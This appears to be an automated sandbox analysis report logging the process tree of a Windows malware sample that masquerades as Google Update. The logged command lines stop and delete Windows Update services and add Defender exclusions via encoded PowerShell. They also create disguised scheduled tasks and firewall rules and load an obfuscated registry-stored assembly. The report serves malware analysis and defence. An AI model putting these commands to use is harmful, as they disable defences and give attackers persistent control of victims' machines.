Target ID:	14
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff627730000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 64, Parent PID: 5088

General

Target ID:	15
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Imagebase:	0x1130000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4504, Parent PID: 5284

General

Target ID:	16
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff627730000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2832, Parent PID: 2824

General

Target ID:	17
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5236, Parent PID: 5088

General

Target ID:	18
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Imagebase:	0x1130000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2332, Parent PID: 64

General

Target ID:	19
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 3104, Parent PID: 5284

General

Target ID:	20
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4568, Parent PID: 4504

General

Target ID:	21
Start time:	04:36:48
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5064, Parent PID: 5088

General

Target ID:	22
Start time:	04:36:49
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2000, Parent PID: 5236

General

Target ID:	23
Start time:	04:36:49
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2912, Parent PID: 3104

General

Target ID:	24
Start time:	04:36:49
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3032, Parent PID: 5064

General

Target ID:	25
Start time:	04:36:49
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5920, Parent PID: 2824

General

Target ID:	26
Start time:	04:36:49
Start date:	27/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff7fcd70000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 4904, Parent PID: 4504

General

Target ID:	27
Start time:	04:36:49
Start date:	27/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6a6ed0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 2860, Parent PID: 5088

General

Target ID:	28
Start time:	04:36:50
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 5636, Parent PID: 4504

General

Target ID:	29
Start time:	04:36:50
Start date:	27/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6a6ed0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 1876, Parent PID: 2824

General

Target ID:	30
Start time:	04:36:50
Start date:	27/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff7b3e70000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5348, Parent PID: 2860

General

Target ID:	31
Start time:	04:36:51
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5420, Parent PID: 1084

General

Target ID:	32
Start time:	04:36:52
Start date:	27/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0x10a0000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 5532, Parent PID: 5088

General

Target ID:	33
Start time:	04:36:54
Start date:	27/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0xa50000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 5760, Parent PID: 2824

General

Target ID:	34
Start time:	04:36:55
Start date:	27/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff7b3e70000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 5732, Parent PID: 4504

General

Target ID:	35
Start time:	04:36:55
Start date:	27/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6a6ed0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 4336, Parent PID: 4504

General

Target ID:	38
Start time:	04:36:56
Start date:	27/11/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6a6ed0000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 4392, Parent PID: 2824

General

Target ID:	39
Start time:	04:36:57
Start date:	27/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff7b3e70000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 3648, Parent PID: 2824

General

Target ID:	40
Start time:	04:36:58
Start date:	27/11/2022
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff7b3e70000
File size:	69120 bytes
MD5 hash:	D79784553A9410D15E04766AAAB77CD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 3928, Parent PID: 2824

General

Target ID:	41
Start time:	04:36:59
Start date:	27/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Imagebase:	0x7ff662430000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 3184, Parent PID: 2824

General

Target ID:	42
Start time:	04:37:00
Start date:	27/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Imagebase:	0x7ff662430000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 5216, Parent PID: 5088

General

Target ID:	43
Start time:	04:37:00
Start date:	27/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0xa50000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5620, Parent PID: 2824

General

Target ID:	44
Start time:	04:37:01
Start date:	27/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Imagebase:	0x7ff662430000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 352, Parent PID: 2824

General

Target ID:	45
Start time:	04:37:01
Start date:	27/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Imagebase:	0x7ff662430000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 2240, Parent PID: 2824

General

Target ID:	46
Start time:	04:37:02
Start date:	27/11/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Imagebase:	0x7ff662430000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4304, Parent PID: 1084

General

Target ID:	47
Start time:	04:37:03
Start date:	27/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\chrome.exe
Imagebase:	0x10a0000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5416, Parent PID: 5420

General

Target ID:	48
Start time:	04:37:05
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Imagebase:	0x1130000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 5520, Parent PID: 5216

General

Target ID:	49
Start time:	04:37:06
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 3624, Parent PID: 5420

General

Target ID:	50
Start time:	04:37:06
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Imagebase:	0x1130000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1320, Parent PID: 5416

General

Target ID:	51
Start time:	04:37:07
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 1920, Parent PID: 5216

General

Target ID:	52
Start time:	04:37:07
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5572, Parent PID: 5520

General

Target ID:	53
Start time:	04:37:07
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: netsh.exePID: 5972, Parent PID: 5216

General

Target ID:	54
Start time:	04:37:07
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x1280000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5588, Parent PID: 1920

General

Target ID:	55
Start time:	04:37:07
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 3300, Parent PID: 5420

General

Target ID:	56
Start time:	04:37:08
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5012, Parent PID: 3624

General

Target ID:	57
Start time:	04:37:08
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5856, Parent PID: 5972

General

Target ID:	58
Start time:	04:37:08
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4880, Parent PID: 3300

General

Target ID:	59
Start time:	04:37:14
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 4336, Parent PID: 5420

General

Target ID:	60
Start time:	04:37:16
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: dialer.exePID: 5896, Parent PID: 5284

General

Target ID:	61
Start time:	04:37:19
Start date:	27/11/2022
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff639cd0000
File size:	36864 bytes
MD5 hash:	0EC74656A7F7667DD94C76081B111827
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4480, Parent PID: 4336

General

Target ID:	62
Start time:	04:37:20
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 1736, Parent PID: 5284

General

Target ID:	63
Start time:	04:37:21
Start date:	27/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: GoogleUpdate.exePID: 4416, Parent PID: 5420

General

Target ID:	64
Start time:	04:37:23
Start date:	27/11/2022
Path:	C:\Windows\GoogleUpdate.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\GoogleUpdate.exe
Imagebase:	0xa50000
File size:	154456 bytes
MD5 hash:	9A66A3DE2589F7108426AF37AB7F6B41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 2548, Parent PID: 1084

General

Target ID:	65
Start time:	04:37:23
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Imagebase:	0x1130000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4520, Parent PID: 1084

General

Target ID:	66
Start time:	04:37:23
Start date:	27/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
